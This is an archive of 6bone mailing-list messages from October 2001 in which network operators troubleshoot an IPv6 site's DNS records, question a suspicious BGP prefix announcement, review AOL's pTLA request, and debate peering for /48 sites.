> linux-tech.com  nameserver = jade.weblibre.org
> linux-tech.com  nameserver = onix.weblibre.org
> jade.weblibre.org       internet address = 66.123.163.226
> onix.weblibre.org       internet address = 66.123.163.227
> (root@charon) /usr/staff/mikej#
>
>
> -----Original Message-----
> From: David Correa [mailto:tech@weblibre.org]
> Sent: Thursday, October 18, 2001 11:09 AM
> To: 6bone@ISI.EDU
> Subject: Re: IPv6 Web Site Test
>
>
> Hello,
>
> Thanks to all that responded, I needed the feed back.
>
> The reason (i think) why some where able to see it and others not
> was that I still had a register.com DNS in the list
> of Auth. DNS, there were no AAAA records there.
> I have removed the Register.com DNS from the list, it
> was not done before because I needed more testing.
>
> I have the AAAA records on DNS servers that I have
> running on my home network.
>
> I know is not an interesting web site : ) but I would
> appreciate if the people that _could not see it_ let me
> know if it is visible now.
>
> My respects to all,
>
> /dc
>
> David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
> tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
> http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |
>
>

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |



From 6bone-owner  Thu Oct 18 14:14:06 2001
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From: "Michael G. Jung" <mikej@confluenttech.com>
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Dave:

Please look at the below queries (one with dig, one with nslookup)

register.com is not returning the correct NS host for 
linux-tech.com.  

The register.com server returns a NS query for linux-tech.com 
as "onix.weblibre.org.linux-tech.com" when what you want
it to return is "onix.weblibre.org".

I don't user register.com but in bind this could because
a trailing "." was left off the hostname "onix.weblibre.org."

--regards

Michael Jung
mikej@confluenttech.com

+++++++++++++++++++++++++++++++++++++++++++++++++++

#nslookup
> set q=ns
> linux-tech.com
Server:  dns5.register.com
Address:  209.67.50.251

linux-tech.com  nameserver = onix.weblibre.org.linux-tech.com
linux-tech.com  nameserver = jade.weblibre.org.linux-tech.com
> 

+++++++++++++++++++++++++++++++++++++++++++++++++++

; <<>> DiG 8.3 <<>> @dns5.register.com linux-tech.com ns 
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;;      linux-tech.com, type = NS, class = IN

;; ANSWER SECTION:
linux-tech.com.         1H IN NS
onix.weblibre.org.linux-tech.com.
linux-tech.com.         1H IN NS
jade.weblibre.org.linux-tech.com.

;; Total query time: 213 msec
;; FROM: charon.confluentasp.com to SERVER: dns5.register.com
209.67.50.251
;; WHEN: Thu Oct 18 17:11:18 2001
;; MSG SIZE  sent: 32  rcvd: 83

(root@charon) /usr/staff/mikej# 

-----Original Message-----
From: David Correa [mailto:tech@weblibre.org]
Sent: Thursday, October 18, 2001 4:54 PM
To: Michael G. Jung
Cc: 6bone@ISI.EDU
Subject: RE: IPv6 Web Site Test


Michael,

I think the problem is that a DNS in register.com is
still responding when it should not, there are no aaaa records there.
It looks like I need to wait 24/48 hours for all the dns in the
internet to sync. the new auth dns for the domain info.

Try this:
dig ipv6.linux-tech.com @jade.weblibre.org aaaa
dig ipv6.linux-tech.com @onix.weblibre.org aaaa

Thanks for the help,
/dc

On Thu, 18 Oct 2001, Michael G. Jung wrote:

> Date: Thu, 18 Oct 2001 15:34:03 -0400
> From: Michael G. Jung <mikej@confluenttech.com>
> To: David Correa <tech@weblibre.org>, 6bone@ISI.EDU
> Subject: RE: IPv6 Web Site Test
>
> Hmmm.... looks like your missing a trailing dot on your NS
> entries.  "origin = jade.weblibre.org.linux-tech.com".
>
> --regards
>
> +++++++++++++++++++++++++++++++++++++++++++++
>
> (root@charon) /usr/staff/mikej# nslookup -type=AAAA
ipv6.linux-tech.com
> Server:  ns2.confluentasp.com
> Address:  208.35.201.2
>
> Non-authoritative answer:
> ipv6.linux-tech.com     canonical name = linux-tech.com
>
> Authoritative answers can be found from:
> linux-tech.com
>         origin = jade.weblibre.org.linux-tech.com
>         mail addr = root.register.com
>         serial = 200008151
>         refresh = 10800 (3H)
>         retry   = 86400 (1D)
>         expire  = 604800 (1W)
>         minimum ttl = 3600 (1H)
> (root@charon) /usr/staff/mikej#
>
> +++++++++++++++++++++++++++++++++++++++++++++
>
> If queried directly jade.weblibre.org answers with....
>
> (root@charon) /usr/staff/mikej# nslookup -type=aaaa
ipv6.linux-tech.com
> jade.weblibre.org
> Server:  jade.weblibre.org
> Address:  66.123.163.226
>
> ipv6.linux-tech.com     IPv6 address = 3ffe:1200:3028:ff01::35f9
> linux-tech.com  nameserver = jade.weblibre.org
> linux-tech.com  nameserver = onix.weblibre.org
> jade.weblibre.org       internet address = 66.123.163.226
> onix.weblibre.org       internet address = 66.123.163.227
> (root@charon) /usr/staff/mikej#
>
>
> -----Original Message-----
> From: David Correa [mailto:tech@weblibre.org]
> Sent: Thursday, October 18, 2001 11:09 AM
> To: 6bone@ISI.EDU
> Subject: Re: IPv6 Web Site Test
>
>
> Hello,
>
> Thanks to all that responded, I needed the feed back.
>
> The reason (i think) why some where able to see it and others not
> was that I still had a register.com DNS in the list
> of Auth. DNS, there were no AAAA records there.
> I have removed the Register.com DNS from the list, it
> was not done before because I needed more testing.
>
> I have the AAAA records on DNS servers that I have
> running on my home network.
>
> I know is not an interesting web site : ) but I would
> appreciate if the people that _could not see it_ let me
> know if it is visible now.
>
> My respects to all,
>
> /dc
>
> David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
> tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
> http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |
>
>

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |



From 6bone-owner  Thu Oct 18 14:27:23 2001
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Date: Thu, 18 Oct 2001 23:27:40 +0200
From: Bernhard Schmidt <berni@birkenwald.de>
To: kirk@thebollingers.net
Cc: 6bone@ISI.EDU
Subject: Re: IPv6 newsfeed
Message-ID: <20011018232740.A68729@thor.birkenwald.de>
References: <20011018112352.A17764@thor.birkenwald.de> <Pine.LNX.4.33.0110180751510.1972-100000@localhost.localdomain> <20011018195240.A9894@thor.birkenwald.de>
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On Thu, Oct 18, 2001 at 07:52:40PM +0200, Bernhard Schmidt wrote:

Hi,

> > Does anyone know of an open IPV6 news server I can connect to just to play
> > with the latest version of tin??
> Well, I don't know an open one, but if you send me your IPv6 prefix and
> the hierarchy you want I can give you access on news.ipv6.eurocyber.net.
> This is a test daemon, so it only has selected hierarchies.

Well, I have to correct myself :-)

news.ipv6.eurocyber.net:1119 is open for reading ipv6-wide for free. de.*
only at the moment, but I'm sure other hierarchies will be added within
the next days.

   bye bye
     Bernhard

From 6bone-owner  Thu Oct 18 19:28:05 2001
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From: David Correa <tech@weblibre.org>
X-X-Sender: tech@yunque.10.10.10.254
To: "Michael G. Jung" <mikej@confluenttech.com>
cc: 6bone@ISI.EDU
Subject: RE: IPv6 Web Site Test
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Michael,

There is nothing I can do about the  extra "."
is a bug on the register.com DNS, hopefully
the problem will fix by itself after the root server
gets in sync with the new dns info.

Thanks for your help,
dc

On Thu, 18 Oct 2001, Michael G. Jung wrote:
>
> Hmmm.... looks like your missing a trailing dot on your NS
> entries.  "origin = jade.weblibre.org.linux-tech.com".
>
> --regards
>

David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |


From 6bone-owner  Fri Oct 19 01:13:45 2001
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To: 6bone@ISI.EDU
Subject: 2001:400::/29
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	we (AS2500) are seeing 2001:400::/29 advertised from the following AS
	path:
		4554 3748 4755
	is it for real?   did RIR assigned /29 to AS4755?

	I don't think it correct, since:
	- http://www.dfn.de/service/ipv6/ipv6aggis.html does not list it
	- 2001:400::/35 is advertised from different origin AS (AS293)
	- AS4755 is advertising other prefixes too, and it seems to me that
	  AS4755 is authoritative for 3ffe:81e0::/28 only
	  3ffe:81d0::/28 - advertised by AS6939 too
	  3ffe:81e0::/28 - advertised by AS4755 only

	btw, http://www.dfn.de/service/ipv6/ipv6aggis.html do list a /29 prefix,
	which is not advertised yet.
	EU-ZZ-2001-07F8                2001:07F8::/29

itojun



*  2001:400::/29    2001:200:0:1800::3549:1
                                                           0 3549 6175 10566 475
5 i
*>i                 fec0::4401:0:0:1:1
                                             1    100      0 4554 3748 4755 i
*  2001:400::/35    2001:200:0:1800::4691:1
                                                           0 4691 2497 293 i
* i                 fec0::4401:0:0:1:1
                                             1    100      0 4554 293 i
*                   2001:200:0:1800::2497:1
                                                           0 2497 293 i
*>                  2001:200:0:1800:200:f8ff:fe1f:7490
                                                           0 4697 293 i
*                   2001:200:0:1800::2497:0
                                                           0 3549 2497 293 i
*                   2001:200:0:1800::2497:1
                                                           0 4725 2497 293 i
* i                 fec0::1802:0:0:1:7
                                                  100      0 3425 293 i


From 6bone-owner  Sat Oct 20 08:16:09 2001
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Date: Sat, 20 Oct 2001 08:16:16 -0700
To: Petr Baudis <pasky@xs26.net>, David Kessens <david@iprg.nokia.com>
From: Bob Fink <fink@es.net>
Subject: Re: problem with 6bone whois db and mnt-lower
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Petr,

I think this may start from the fact that the 3FFE::/16 inet6num object is 
not protected by mnt-lower to allow folks to setup and maintain their own 
pTLA entries (/24, /28) under it. If I didn't do that (I discussed this 
with David Kessens when we originally started out the 3FFE space) I would 
forever be maintaining all of these entries.

However, I don't know if this then affects the ability to protect space 
below that with mnt-lower.

Their has been no intentional abuse of the database to date and we want to 
encourage 6bone participants to use it by keeping it non-complicated and 
not requiring admin staff to support it.

Have forwarded this to David Kessens to answer further, and maybe give some 
more of the philosophy on this.


Bob

===
At 03:37 PM 10/20/2001 +0200, Petr Baudis wrote:
>Hi,
>
>in http://www.6bone.net/RIPE-registry.html it is said that:
>"mnt-lower ... pointer to maintainer object which describes who is allowed to
>*create* objects for SLAs part of the 'inet6num:' object" and
>"You can protect against people creating (only creating) objects direct (one
>level) below in the hierarchy of an object type (only for 'inet6num:/domain:'
>objects) by using your maintainer in a 'mnt-lower:' attribute. The
>authorization method of this maintainer object will then be used upon creation
>of any object direct below the object that contains the 'mnt-lower:'
>attribute."
>
>We wanted to use this feature, however, it seems it is not working
>unfortunately.  We created 3ffe:80ee::/32 inet6num with mnt-lower: NEXTRA-MNT
>attribute. Then, we created 3ffe:80ee::/64 inet6num with different mnt-by
>attribute (PB-6BONE) without any problems, which should NOT be allowed, as we
>understand the specification. We also tried 3ffe:80ee::/33, for the case we
>understood the 'one level' in a wrong way, with no problems at all too.
>
>This means that anyone can create inet6num object anywhere, we think, which
>doesn't look very well. We want to restrict creation of inet6num objects in
>this range, as we want to handle them ourselves on our own whois server, for
>many technical reasons.
>
>Can please anyone enlighten us or fix the problem in whois6d, if there exists
>any?
>
>Thanks in advance,
>
>--
>
>                                 Petr "Pasky" Baudis
>.                                                                       .
>Real Users hate Real Programmers.
>Error in /home/tokra/.muttrc, line 145: previous-undead: no such function 
>in map
>.                                                                       .
>Public PGP key, geekcode and stuff: http://pasky.ji.cz/~pasky/


From 6bone-owner  Wed Oct 24 12:50:30 2001
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Date: Wed, 24 Oct 2001 15:47:18 -0400
To: David Correa <tech@weblibre.org>
From: Cleveland Mickles <micklesc@aol.net>
Subject: Re: IPv6 Web Site Test
Cc: 6bone@ISI.EDU
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 4>
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I still don't see your AAAA records.  I also checked a looking
glass at http://www.ipv6.euronet.be/looking/index.html which
doesn't report a translation either.

Regards,

Cleve...


At 08:09 AM 10/18/01 -0700, David Correa wrote:
>Hello,
>
>Thanks to all that responded, I needed the feed back.
>
>The reason (i think) why some where able to see it and others not
>was that I still had a register.com DNS in the list
>of Auth. DNS, there were no AAAA records there.
>I have removed the Register.com DNS from the list, it
>was not done before because I needed more testing.
>
>I have the AAAA records on DNS servers that I have
>running on my home network.
>
>I know is not an interesting web site : ) but I would
>appreciate if the people that _could not see it_ let me
>know if it is visible now.
>
>My respects to all,
>
>/dc
>
>David Correa RHCE CCNA    _    _ _  _ _  _ _  _    ___ ____ ____ _  _
>tech@linux-tech.com       |    | |\ | |  |  \/      |  |___ |    |__|
>http://www.linux-tech.com |___ | | \| |__| _/\_     |  |___ |___ |  |

Cleve...


From 6bone-owner  Thu Oct 25 07:24:25 2001
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Date: Thu, 25 Oct 2001 07:24:03 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for AOL (wwwv6.aolv6.aol.com) - review closes 8
  November 2001
Cc: "Cleve Mickles" <micklesc@aol.net>
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6bone Folk,

AOL (wwwv6.aolv6.aol.com) has requested a pTLA allocation. The open review 
period for this will close 8 November 2001. Please send your comments to me 
or the list.


Thanks,

Bob

===
>From: "Cleve Mickles" <micklesc@aol.net>
>To: <fink@es.net>
>Subject: pTLA Request for AOL
>Date: Tue, 23 Oct 2001 13:06:14 -0400
>
>Hi Bob,
>
>We would like to apply for a pTLA allocation
>from the 6Bone.  Please let me know if there are
>any further requirements.
>
>Thanks,
>
>Cleve...
>
> > 7. Guidelines for 6Bone pTLA sites
> >
> >   The following rules apply to qualify for a 6Bone pTLA allocation. It
> >   should be recognized that holders of 6Bone pTLA allocations are
> >   expected to provide production quality backbone network services for
> >   the 6Bone.
> >
> >   1. The pTLA Applicant must have a minimum of three (3) months
> >      qualifying experience as a 6Bone end-site or pNLA transit.   During
> >      the entire qualifying period the Applicant must be operationally
> >      providing the following:
> >
> >      a. Fully maintained, up to date, 6Bone Registry entries for their
> >         ipv6-site inet6num, mntner, and person objects, including each
> >         tunnel that the Applicant has.
>
>Our 6bone registry entries include:
>
>ipv6-site: AOL
>
>We are sub-TLA of VBNS and Sprint with inet6num: entries
>for both address blocks
>
>mntner: MNT-AOL-V6
>person objects: CM1-6BONE & TS6-6BONE
>
> >
> >      b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >         between the Applicant's boundary router and the appropriate
> >         connection point into the 6Bone. This router must be IPv6
> >         pingable. This criteria is judged by members of the 6Bone
> >         Operations Group at the time of the Applicant's pTLA request.
>
>We are connected to about 8 BGP peers using tunneled connections.
>The external peers are spread over two Cisco 7500 routers and all
>tunnels are recorded in the ipv6-site registry object.
>
> >
> >      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >         entries for the Applicant's router(s) and at least one host
> >         system.
> >
>
>We maintain forward (AAAA) records for aolv6.aol.com
>and the reverse zone 3.0.8.2.e.f.f.3.ip6.int in the
>ns.aolv6.aol.com name server for network 3ffe:2803/32.
>
>AAAA DNS records for one of our router interfaces and our
>DNS server are noted below. The domain is aolv6.aol.com
>
>ptn-6bone1-nose-fe200           IN      AAAA    3FFE:2803:FFFE::1
>ns  IN      AAAA    3FFE:2803:FFFE::3
>
>
> >      d. A fully maintained, and reliable, IPv6-accessible system
> >         providing, at a mimimum, one or more web pages, describing the
> >         Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>wwwv6.aolv6.aol.com provides some basic information along
>with a link to our 6bone pinger page.
>
> >
> >   2. The pTLA Applicant MUST have the ability and intent to provide
> >      "production-quality" 6Bone backbone service. Applicants must
> >      provide a statement and information in support of this claim.
> >      This MUST include the following:
> >
> >      a. A support staff of two persons minimum, three preferable, with
> >         person attributes registered for each in the ipv6-site object
> >         for the pTLA applicant.
>
>Thom Stehnach tsten@aol.com
>Cleve Mickles micklesc@aol.net
>Please see person objects: CM1-6BONE & TS6-6BONE for other
>details.
>
> >
> >      b. A common mailbox for support contact purposes that all support
> >         staff have acess to, pointed to with a notify attribute in the
> >         ipv6-site object for the pTLA Applicant.
>
>ipv6-support@listserv.sup.aol.com is used for support issues.
>The notify attribute in our registry objects points to our
>routepolicy@aol.net mail list which incorporates the people
>on ipv6-support list.
>
> >
> >   3. The pTLA Applicant MUST have a potential "user community" that
> >      would be served by its becoming a pTLA, e.g., the Applicant is a
> >      major provider of Internet service in a region, country, or focus
> >      of interest. Applicant must provide a statement and information in
> >      support this claim.
>
>We have a backbone network, a large user community and a large array
>of content.  We would plan to offer some services via IPv6.
>
> >
> >   4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >      operational rules and policies as they exist at time of its
> >      application, and agree to abide by future 6Bone backbone
> >      operational rules and policies as they evolve by consensus of the
> >      6Bone backbone and user community.
>
>We will abide by the current 6bone operation rules and policies
>and the consensus rules going forward.
>
> >
> >   When an Applicant seeks to receive a pTLA allocation, it will apply
> >   to the 6Bone Operations Group (see section 8 below) by providing to
> >   the Group information in support of its claims that it meets the
> >   criteria above.
> >
> > 8. 6Bone Operations Group
> >
> >   The 6Bone Operations Group is the group in charge of monitoring and
> >   policing adherence to the current rules. Membership in the 6Bone
> >   Operations Group is mandatory for, and restricted to, sites connected
> >   to the 6Bone.
> >
> >   The 6Bone Operations Group is currently defined by those members of
> >   the existing 6Bone mailing list who represent sites participating in
> >   the 6Bone. Therefore it is incumbent on relevant site contacts to
> >   join the 6Bone mailing list. Instructions on how to join the list are
> >   maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >
> >
> >
>
>
>Cleve Mickles
>Office Phone: 703-265-5618
>Network Architect
>America Online, Network Operations
-end


From 6bone-owner  Fri Oct 26 00:27:20 2001
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Date: Fri, 26 Oct 2001 10:27:34 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: <6bone@ISI.EDU>
Subject: native connections in 6bone DB
Message-ID: <Pine.LNX.4.33.0110261026170.26511-100000@netcore.fi>
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Hello all,

It seems there's some wild practise on whether to put native IPv6
connections to the 6bone database, and if so, how (e.g. IPv6 in IPv6
tunnels), or not.

Any thoughts on this?

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Mon Oct 29 06:29:57 2001
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draft-ietf-ngtrans-6bone-registry-03.txt (now expired) add a new "native"
attribute in the ipv6-site for that purpose.

I don't think it is implemented yet in the current 6bone whois, at least I
don't see any ipv6-site using it.

Florent.

pekkas@netcore.fi wrote:

> Hello all,
>
> It seems there's some wild practise on whether to put native IPv6
> connections to the 6bone database, and if so, how (e.g. IPv6 in IPv6
> tunnels), or not.
>
> Any thoughts on this?
>
>



From 6bone-owner  Tue Oct 30 04:04:51 2001
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From: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
To: <6bone@ISI.EDU>
Subject: Looking for BGP peers
Date: Tue, 30 Oct 2001 12:04:57 -0000
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Hello

Currently we (Telepac) are connected to the 6Bone, having RCCN as our upstream pTLD.
We have several IPv6 accessable services (http, irc, nntp...) and we are looking for more
BGP4 peers.
We are running Cisco IOS 12.2.4T on our routers.

Is there someone interested in exchange BGP with us?

thank's

Pedro Goncalves
Telepac - Comunicacoes Interactivas, SA
http://www.ipv6.telepac.pt/


From 6bone-owner  Tue Oct 30 07:34:05 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Pedro Goncalves <pgoncalves@net.telepac.pt>
cc: <6bone@ISI.EDU>
Subject: Re: Looking for BGP peers
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On Tue, 30 Oct 2001, Pedro Goncalves wrote:
> Currently we (Telepac) are connected to the 6Bone, having RCCN as our upstream pTLD.
> We have several IPv6 accessable services (http, irc, nntp...) and we are looking for more
> BGP4 peers.
> We are running Cisco IOS 12.2.4T on our routers.
> 
> Is there someone interested in exchange BGP with us?

Umm, unless I'm mistaking somehow...

I doubt this makes much sense, because the peers you'd talk with would not
be able to advertise your prefix (it's /48, limit is like /24 or /28 or
/35, depending).

If you want better connections, RCCN should be doing the peering.

(we were perhaps in a similar situation; "imprisoned" by our pTLD, so we
went and got a 2001: prefix we can announce anywhere we want)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Oct 30 10:11:45 2001
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Date: Tue, 30 Oct 2001 13:10:54 -0500
To: Pekka Savola <pekkas@netcore.fi>
From: Paul Timmins <paul@timmins.net>
Subject: Re: Looking for BGP peers
Cc: 6bone@ISI.EDU
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If I am not correct, you can establish private peering with anyone who's 
willing - they don't have to announce your prefix to others...
But perhaps this is not what you are looking for...
-Paul

At 10:34 AM 10/30/2001, you wrote:
>On Tue, 30 Oct 2001, Pedro Goncalves wrote:
> > Currently we (Telepac) are connected to the 6Bone, having RCCN as our 
> upstream pTLD.
> > We have several IPv6 accessable services (http, irc, nntp...) and we 
> are looking for more
> > BGP4 peers.
> > We are running Cisco IOS 12.2.4T on our routers.
> >
> > Is there someone interested in exchange BGP with us?
>
>Umm, unless I'm mistaking somehow...
>
>I doubt this makes much sense, because the peers you'd talk with would not
>be able to advertise your prefix (it's /48, limit is like /24 or /28 or
>/35, depending).
>
>If you want better connections, RCCN should be doing the peering.
>
>(we were perhaps in a similar situation; "imprisoned" by our pTLD, so we
>went and got a 2001: prefix we can announce anywhere we want)
>
>--
>Pekka Savola                 "Tell me of difficulties surmounted,
>Netcore Oy                   not those you stumble over and fall"
>Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


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From: Pekka Savola <pekkas@netcore.fi>
To: Paul Timmins <paul@timmins.net>
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Subject: Re: Looking for BGP peers
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On Tue, 30 Oct 2001, Paul Timmins wrote:
> If I am not correct, you can establish private peering with anyone who's 
> willing - they don't have to announce your prefix to others...
> But perhaps this is not what you are looking for...

Sure, that's possible -- but there's very, very small gain from
establishing private peering with Joe Random 6Boner on purpose of 
enhancing the connectivity or what not.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Oct 30 11:03:31 2001
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Subject: RE: Looking for BGP peers
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Pekka Savola" <pekkas@netcore.fi>,
        "Pedro Goncalves" <pgoncalves@net.telepac.pt>
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Pekka and Pedro,

I assume you meant pTLA, not pTLD?
There is some interest in doing it, let's call it BGP filtering lab.

Michel.

-----Original Message-----
From: Pekka Savola [mailto:pekkas@netcore.fi] 
Sent: Tuesday, October 30, 2001 7:34 AM
To: Pedro Goncalves
Cc: 6bone@ISI.EDU
Subject: Re: Looking for BGP peers

On Tue, 30 Oct 2001, Pedro Goncalves wrote:
> Currently we (Telepac) are connected to the 6Bone, having RCCN as our
upstream pTLD.
> We have several IPv6 accessable services (http, irc, nntp...) and we
are looking for more
> BGP4 peers.
> We are running Cisco IOS 12.2.4T on our routers.
> 
> Is there someone interested in exchange BGP with us?

Umm, unless I'm mistaking somehow...

I doubt this makes much sense, because the peers you'd talk with would
not
be able to advertise your prefix (it's /48, limit is like /24 or /28 or
/35, depending).

If you want better connections, RCCN should be doing the peering.

(we were perhaps in a similar situation; "imprisoned" by our pTLD, so we
went and got a 2001: prefix we can announce anywhere we want)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Tue Oct 30 11:20:53 2001
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Subject: Re: Looking for BGP peers
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----- Original Message ----- 
From: "Pekka Savola" <pekkas@netcore.fi>
> 
> (we were perhaps in a similar situation; "imprisoned" by our pTLD, so we
> went and got a 2001: prefix we can announce anywhere we want)
> 

Do you use a 2002:<IPv4>:0000 prefix ?

http://www.dot-arizona.com/IPv8/IPv4/
http://www.ietf.org/mail-archive/ietf/Current/msg12213.html

JimFleming@Unir.com
http://www.unir.com
http://www.unir.com/images/architech.gif
http://www.unir.com/images/headers.gif
http://www.unir.com/images/address.gif
http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp
http://www.ietf.org/mail-archive/ietf/Current/msg12213.html
http://www.ietf.org/mail-archive/ietf/Current/msg12223.html



From 6bone-owner  Tue Oct 30 12:00:18 2001
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From: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
To: "Pekka Savola" <pekkas@netcore.fi>
Cc: <6bone@ISI.EDU>
Subject: RE: Looking for BGP peers
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Hello

>From what i've read, sure we have to keep the routing table small, but entities like mine,
that will need to be IPv6 multihomed in the near future also need to get some experience
before applying for pTLA.

Other option that i see is to obtain another /48 from another pTLA, exchange BGP and use
it on my network.

Yet another option is to exchange BGP with other /48 NLA and do some filtering.

Is that possible/correct within 6Bone??

Pedro Goncalves


-----Original Message-----
From: Pekka Savola [mailto:pekkas@netcore.fi]
Sent: terca-feira, 30 de Outubro de 2001 15:34
To: Pedro Goncalves
Cc: 6bone@ISI.EDU
Subject: Re: Looking for BGP peers


On Tue, 30 Oct 2001, Pedro Goncalves wrote:
> Currently we (Telepac) are connected to the 6Bone, having RCCN as our upstream pTLD.
> We have several IPv6 accessable services (http, irc, nntp...) and we are looking for
more
> BGP4 peers.
> We are running Cisco IOS 12.2.4T on our routers.
>
> Is there someone interested in exchange BGP with us?

Umm, unless I'm mistaking somehow...

I doubt this makes much sense, because the peers you'd talk with would not
be able to advertise your prefix (it's /48, limit is like /24 or /28 or
/35, depending).

If you want better connections, RCCN should be doing the peering.

(we were perhaps in a similar situation; "imprisoned" by our pTLD, so we
went and got a 2001: prefix we can announce anywhere we want)

--
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Oct 31 02:35:20 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Pim van Pelt <pim@ipng.nl>
cc: Paul Timmins <paul@timmins.net>, <6bone@ISI.EDU>
Subject: Re: Looking for BGP peers
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On Wed, 31 Oct 2001, Pim van Pelt wrote:
> Pekka, others,
> 
> | > If I am not correct, you can establish private peering with anyone who's 
> | > willing - they don't have to announce your prefix to others...
> | > But perhaps this is not what you are looking for...
> | 
> | Sure, that's possible -- but there's very, very small gain from
> | establishing private peering with Joe Random 6Boner on purpose of 
> | enhancing the connectivity or what not.
>
> I totally disagree with this statement; We all know (or should know) that
> the TLAs need to aggregate, however. Let us say that I am some NLA with a
> /48 from my upstream p or sTLA. One computer farther away from me is some
> friend that I frequently exchange traffic with (eg it has a nice ftp archive
> or we do NNTP together) in another NLA (not from my upstream p/sTLA)
> 
> It would be unwise to force traffic from my network over the global backbone
> just to save aggregation. In this case, I would set up a private peering from
> my NLA to theirs, not announcing this to any of my other peers of course.
> 
> I don't think the stricter peering policy was meant to 'forbid' you to peer
> with any other /48 if you see fit; however your routes to that other site
> should never enter the global routing table.

I agree, but this is not what I meant.

If you want to get second /48 prefix to test e.g. multihoming, you can 
contact nearby IPv6 sites directly.  6Bone DB gives very good info on 
this.

If you want to get direct connection to an interesting service, so that 
the traffic will not flow through your own IPv6 upstream, you contact that 
particular destination directly for private peering.

Etc.

Only good I can see for asking for peers _here_ is to enhance "global"  
connectivity of a pTLA.  As there are filtering rules in place, /48 sites 
should not have need for this.

Ie: I'm not saying private peering should not be done; quite the contrary.  

I _am_ questioning the objectives of asking for peers _here_ for 
non-/{24,28,35}.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Oct 31 07:48:40 2001
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Pekka -

>> I _am_ questioning the objectives of asking for peers _here_
>> for non-/{24,28,35}.

I think "just because it can be done" is a reasonable reason here, and
it might even bring up some new issues. In the real world, it is a
probable scenario that sometime two /48 that are geographically close
but have different TLAs connect with a cross-over 100 mpbs cable and
want their traffic to be direct. It might be interesting to have lots of
/48 to peer together and watch out if one of these prefixes makes it to
the DFZ routing table.

Michel.


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From: "Pedro Goncalves" <pgoncalves@net.telepac.pt>
To: <6bone@ISI.EDU>
Subject: RE: Looking for BGP peers
Date: Wed, 31 Oct 2001 16:11:27 -0000
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Hi

I think this mlist is usefull both to clarify doubts and to improve knowledge on resources
about IPv6 Networks.

When I asked for peers, was because my company and myself are interested on IPv6
deployment, so if this is not the best/right place to do that, i apologise.

One other reason was because i lost my connectivity due a problem within my upstream pTLA.

Best Regards

Pedro Goncalves



-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Pekka
Savola
Sent: quarta-feira, 31 de Outubro de 2001 10:35
To: Pim van Pelt
Cc: Paul Timmins; 6bone@ISI.EDU
Subject: Re: Looking for BGP peers

...

I _am_ questioning the objectives of asking for peers _here_ for
non-/{24,28,35}.

--
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Wed Oct 31 08:37:47 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
cc: <6bone@ISI.EDU>
Subject: RE: Looking for BGP peers
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On Wed, 31 Oct 2001, Michel Py wrote:
> >> I _am_ questioning the objectives of asking for peers _here_
> >> for non-/{24,28,35}.
> 
> I think "just because it can be done" is a reasonable reason here, and
> it might even bring up some new issues. In the real world, it is a
> probable scenario that sometime two /48 that are geographically close
> but have different TLAs connect with a cross-over 100 mpbs cable and
> want their traffic to be direct. It might be interesting to have lots of
> /48 to peer together and watch out if one of these prefixes makes it to
> the DFZ routing table.

